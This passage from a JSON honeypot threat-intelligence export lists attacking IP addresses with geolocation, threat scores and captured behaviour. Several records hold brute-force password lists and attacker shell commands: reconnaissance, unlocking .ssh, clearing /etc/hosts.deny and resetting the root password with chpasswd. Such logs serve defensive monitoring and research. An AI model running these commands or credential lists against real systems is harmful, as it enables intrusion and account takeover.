      "last_seen": "2026-05-05T15:59:33.183Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Paris",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T15:59:01.949000+00:00",
        "last_seen_30d": "2026-05-05T16:00:33.607000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.75.213.171": {
      "attack_count": 2,
      "first_seen": "2026-05-17T16:08:53.447Z",
      "last_seen": "2026-05-17T16:09:23.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Busan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:08:53.447000+00:00",
        "last_seen_30d": "2026-05-17T16:10:30.225000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "64.62.156.108": {
      "attack_count": 2,
      "first_seen": "2026-05-11T15:44:42.230Z",
      "last_seen": "2026-05-11T15:44:44.377Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 324,
        "days_active_30d": 30,
        "ports_targeted_30d": 74,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-02T04:10:48+00:00",
        "last_seen_30d": "2026-05-31T14:41:01.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 198,
        "Honeytrap": 86,
        "Ciscoasa": 15,
        "Redishoneypot": 11,
        "ConPot": 6,
        "Dionaea": 3,
        "Cowrie": 2,
        "Tanner": 2,
        "CitrixHoneypot": 1
      }
    },
    "72.255.197.91": {
      "attack_count": 2,
      "first_seen": "2026-05-04T15:49:00.543Z",
      "last_seen": "2026-05-04T15:49:13.657Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Jasper",
      "asn": 25853,
      "as_org": "Ellijay Telephone Company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T15:49:00.543000+00:00",
        "last_seen_30d": "2026-05-04T15:50:16.375000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.243.87.65": {
      "attack_count": 2,
      "first_seen": "2026-05-10T18:28:50.327Z",
      "last_seen": "2026-05-10T18:29:06.941Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 51207,
      "as_org": "Free Mobile SAS",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T18:28:50.327000+00:00",
        "last_seen_30d": "2026-05-10T18:30:13.510000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.248.178.191": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:33:29.758Z",
      "last_seen": "2026-05-02T20:33:42.746Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Rheine",
      "asn": 3320,
      "as_org": "Deutsche Telekom AG",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:33:29.758000+00:00",
        "last_seen_30d": "2026-05-02T20:34:46.979000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "93.86.132.25": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:37:11.462Z",
      "last_seen": "2026-05-22T20:37:24.836Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Belgrade",
      "asn": 8400,
      "as_org": "TELEKOM SRBIJA a.d.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:37:11.462000+00:00",
        "last_seen_30d": "2026-05-22T20:38:30.939000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.168.69.16": {
      "attack_count": 1867,
      "first_seen": "2026-05-31T18:46:01.161Z",
      "last_seen": "2026-05-31T20:21:09.981Z",
      "sessions": 373,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "deploy",
        "ubuntu",
        "postgres",
        "test",
        "user1",
        "git",
        "hadoop",
        "mysql",
        "oracle",
        "steam",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "ftp",
        "ftpuser",
        "testuser"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "111111",
        "Aa123456",
        "Admin@123",
        "admin",
        "admin123",
        "rock",
        "test",
        "test123",
        "user",
        "!Q2w3e4r",
        "!Q@W3e4r"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Szczecin",
      "asn": 202520,
      "as_org": "SkyPass Solutions Sp. z.o.o.",
      "threat_score": 42.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 2641,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T18:46:01.161000+00:00",
        "last_seen_30d": "2026-05-31T20:22:14.677000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1867,
        "Suricata": 774
      }
    },
    "45.225.92.92": {
      "attack_count": 1078,
      "first_seen": "2026-05-02T04:30:32.873Z",
      "last_seen": "2026-05-02T05:36:57.946Z",
      "sessions": 539,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Maip\u00fa",
      "asn": 263702,
      "as_org": "GRUPO ZGH SPA",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1624,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:30:32.873000+00:00",
        "last_seen_30d": "2026-05-02T05:38:02.187000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1078,
        "Suricata": 546
      }
    },
    "101.36.122.139": {
      "attack_count": 949,
      "first_seen": "2026-05-08T17:17:29.403Z",
      "last_seen": "2026-05-24T08:31:57.950Z",
      "sessions": 108,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "pakchoi",
        "dev",
        "ftpuser",
        "linux",
        "odoo",
        "postgres",
        "...",
        "administrator",
        "ahsq",
        "ali",
        "b",
        "conectar",
        "dbus-helper",
        "ec2-user",
        "es",
        "ftp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "warnight",
        "123456789",
        "Kermit123@",
        "Welcome@1",
        "!qazxsw2",
        "0575@chinaIDC!@",
        "12",
        "123012",
        "123321",
        "1234",
        "12341234",
        "1234567890",
        "123456Qwe",
        "123Qwe",
        "1947",
        "1qaz@WSX3edc",
        "Cc123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123321\\nqm6y497szEdb\\nqm6y497szEdb\\n\"|passwd",
        "echo \"12\\nCYpiCU3IZhWc\\nCYpiCU3IZhWc\\n\"|passwd",
        "echo \"Kermit123@\\n4Dr1oZq5ikKO\\n4Dr1oZq5ikKO\\n\"|passwd",
        "echo \"root:DFjh9GDvJeI8\"|chpasswd|bash",
        "echo \"root:YkI41mwR0KvK\"|chpasswd|bash",
        "echo \"root:eTyZWW0zi8SY\"|chpasswd|bash",
        "echo \"root:yQlOwpJcrxfN\"|chpasswd|bash",
        "echo -e \"123321\\nqm6y497szEdb\\nqm6y497szEdb\"|passwd|bash",
        "echo -e \"12\\nCYpiCU3IZhWc\\nCYpiCU3IZhWc\"|passwd|bash",
        "echo -e \"Kermit123@\\n4Dr1oZq5ikKO\\n4Dr1oZq5ikKO\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 43.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 1191,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:17:29.403000+00:00",
        "last_seen_30d": "2026-05-24T08:33:03.813000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 949,
        "Suricata": 242
      }
    },
    "124.155.125.131": {
      "attack_count": 592,
      "first_seen": "2026-05-22T06:13:36.717Z",
      "last_seen": "2026-05-30T10:00:55.942Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "openkm",
        "test",
        "user1",
        "abhishek",
        "admin",
        "cgpexpert",
        "chrism",
        "david",
        "ftpuser",
        "iot",
        "linux",
        "mohsen",
        "mysql",
        "omar",
        "rdpuser",
        "systemd",
        "tibero"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!23456Qwerty",
        "123",
        "1qaz2wsx#EDC",
        "@qwer2025",
        "Admin@234",
        "Fu123456",
        "Master123",
        "Root1234",
        "Voidsetdownload.so",
        "Welcome1",
        "Yc@123456",
        "ZAQ!2wsxCDE#4rfv",
        "abcd1234",
        "abcd1234.",
        "abhishek",
        "chrism",
        "fjbdfdjkdsfs541544AA@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"abcd1234\\nhQxcdJYMPp2F\\nhQxcdJYMPp2F\\n\"|passwd",
        "echo \"openkm\\nOFE0lhszwAPd\\nOFE0lhszwAPd\\n\"|passwd",
        "echo \"root:rIq0kkkoM0DT\"|chpasswd|bash",
        "echo \"root:uGWx05iPBN79\"|chpasswd|bash",
        "echo \"test2026\\ned9g9MidkGs3\\ned9g9MidkGs3\\n\"|passwd",
        "echo \"user123\\nnuaFkIKeVYFg\\nnuaFkIKeVYFg\\n\"|passwd",
        "echo -e \"abcd1234\\nhQxcdJYMPp2F\\nhQxcdJYMPp2F\"|passwd|bash",
        "echo -e \"openkm\\nOFE0lhszwAPd\\nOFE0lhszwAPd\"|passwd|bash",
        "echo -e \"test2026\\ned9g9MidkGs3\\ned9g9MidkGs3\"|passwd|bash",
        "echo -e \"user123\\nnuaFkIKeVYFg\\nnuaFkIKeVYFg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Midorigaoka",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 46.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 703,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:13:36.717000+00:00",
        "last_seen_30d": "2026-05-30T10:02:02.142000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 592,
        "Suricata": 111
      }
    },
    "47.239.240.68": {
      "attack_count": 396,
      "first_seen": "2026-05-20T22:42:23.772Z",
      "last_seen": "2026-05-21T04:42:05.346Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "esuser",
        "frappe",
        "rdpuser",
        "server",
        "steam",
        "test",
        "testuser",
        "admin123",
        "administrator",
        "angel",
        "apache",
        "bob",
        "cursor",
        "deploy",
        "deployer",
        "developer",
        "dmdba",
        "docker"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "111111",
        "admin123",
        "frappe",
        "test",
        "!QAZ2wsx",
        "0000",
        "12345678",
        "123456789",
        "Aa123456.",
        "Aa123456@",
        "Admin@123",
        "P@ssw0rd",
        "Passw0rd",
        "QWEqwe123",
        "a123456A",
        "aA123456",
        "abc123456",
        "abcd@1234"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 639,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T22:42:23.772000+00:00",
        "last_seen_30d": "2026-05-21T04:43:09.296000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 396,
        "Suricata": 243
      }
    },
    "43.135.182.61": {
      "attack_count": 304,
      "first_seen": "2026-05-17T20:16:36.082Z",
      "last_seen": "2026-05-17T20:41:10.298Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123@123",
        "1910",
        "QWERTY123",
        "Welcome@2024",
        "admiN123",
        "centos123456",
        "dagobert",
        "letmein",
        "luyouqi",
        "maverick",
        "msi",
        "node123456",
        "pa$$word01",
        "password1111",
        "qwe",
        "rauls",
        "student",
        "thoughtpolice"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2LM3G5HWQFqo\"|chpasswd|bash",
        "echo \"root:2UZypqRRtKpf\"|chpasswd|bash",
        "echo \"root:YAN7CJqXSX9t\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:16:36.082000+00:00",
        "last_seen_30d": "2026-05-17T20:42:16.045000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 57
      }
    },
    "190.167.237.191": {
      "attack_count": 288,
      "first_seen": "2026-05-11T21:29:01.388Z",
      "last_seen": "2026-05-11T22:06:36.604Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin2",
        "345gs5662d34",
        "admin",
        "service",
        "test",
        "chris",
        "deployer",
        "ftpuser",
        "josh",
        "linuxadmin",
        "minecraft",
        "test1",
        "test2",
        "user",
        "userroot",
        "web"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test",
        "test123",
        "!QAZ1qaz",
        "!QAZxsw23edc",
        "!qaz@wsx",
        "1",
        "12345",
        "12345678aA",
        "123qwe",
        "1qa@WS3ed",
        "1qaz!QAZ",
        "Password1",
        "Qwer1234",
        "Test",
        "a",
        "a12345678",
        "adipan123",
        "admin!@34"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1\\nZSiIXOxnu4se\\nZSiIXOxnu4se\\n\"|passwd",
        "echo \"test123\\n7Lz0MuDGvbZq\\n7Lz0MuDGvbZq\\n\"|passwd",
        "echo -e \"1\\nZSiIXOxnu4se\\nZSiIXOxnu4se\"|passwd|bash",
        "echo -e \"test123\\n7Lz0MuDGvbZq\\n7Lz0MuDGvbZq\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 6400,
      "as_org": "Compania Dominicana de Telefonos S. A.",
      "threat_score": 12.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 362,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T21:29:01.388000+00:00",
        "last_seen_30d": "2026-05-11T22:07:41.739000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 74
      }
    },
    "152.32.205.153": {
      "attack_count": 287,
      "first_seen": "2026-05-28T18:13:36.274Z",
      "last_seen": "2026-05-28T18:35:36.813Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftp_user",
        "jupiter",
        "user1",
        "admin",
        "dev",
        "developer",
        "felix",
        "robin",
        "steam",
        "syncuser",
        "tabata",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "369258147",
        "Abcd@1234",
        "Reza@123",
        "Ubuntu@2025",
        "asd",
        "dev123",
        "felix",
        "fjbdfdjkdsfs541544",
        "ftp_user@2025",
        "jupiter",
        "robin",
        "root",
        "syncuser",
        "tabata",
        "user"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"11111111\\nVR1ICZwbdX7m\\nVR1ICZwbdX7m\\n\"|passwd",
        "echo \"ftp_user@2025\\nCEPtPOjHCO3k\\nCEPtPOjHCO3k\\n\"|passwd",
        "echo \"jupiter\\nqoCnVqDmGj1j\\nqoCnVqDmGj1j\\n\"|passwd",
        "echo -e \"11111111\\nVR1ICZwbdX7m\\nVR1ICZwbdX7m\"|passwd|bash",
        "echo -e \"ftp_user@2025\\nCEPtPOjHCO3k\\nCEPtPOjHCO3k\"|passwd|bash",
        "echo -e \"jupiter\\nqoCnVqDmGj1j\\nqoCnVqDmGj1j\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Reston",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T18:13:36.274000+00:00",
        "last_seen_30d": "2026-05-28T18:36:39.397000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 287,
        "Suricata": 50
      }
    },
    "104.143.10.174": {
      "attack_count": 270,
      "first_seen": "2026-05-23T00:21:47.937Z",
      "last_seen": "2026-05-23T17:44:23.633Z",
      "sessions": 135,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36114,
      "as_org": "VegasNAP, LLC",
      "threat_score": 33.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 847,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T22:26:57.226000+00:00",
        "last_seen_30d": "2026-05-24T09:18:55.907000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 577,
        "Cowrie": 270
      }
    },
    "123.58.215.196": {
      "attack_count": 246,
      "first_seen": "2026-05-16T17:55:58.985Z",
      "last_seen": "2026-05-16T18:29:53.404Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1001",
        "123abc!",
        "2018",
        "20192019",
        "2050",
        "2095",
        "222",
        "31415926",
        "Hello2024",
        "backuppc",
        "gerry",
        "interlude",
        "lupita",
        "orange",
        "orion88",
        "panpan",
        "product",
        "recording"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
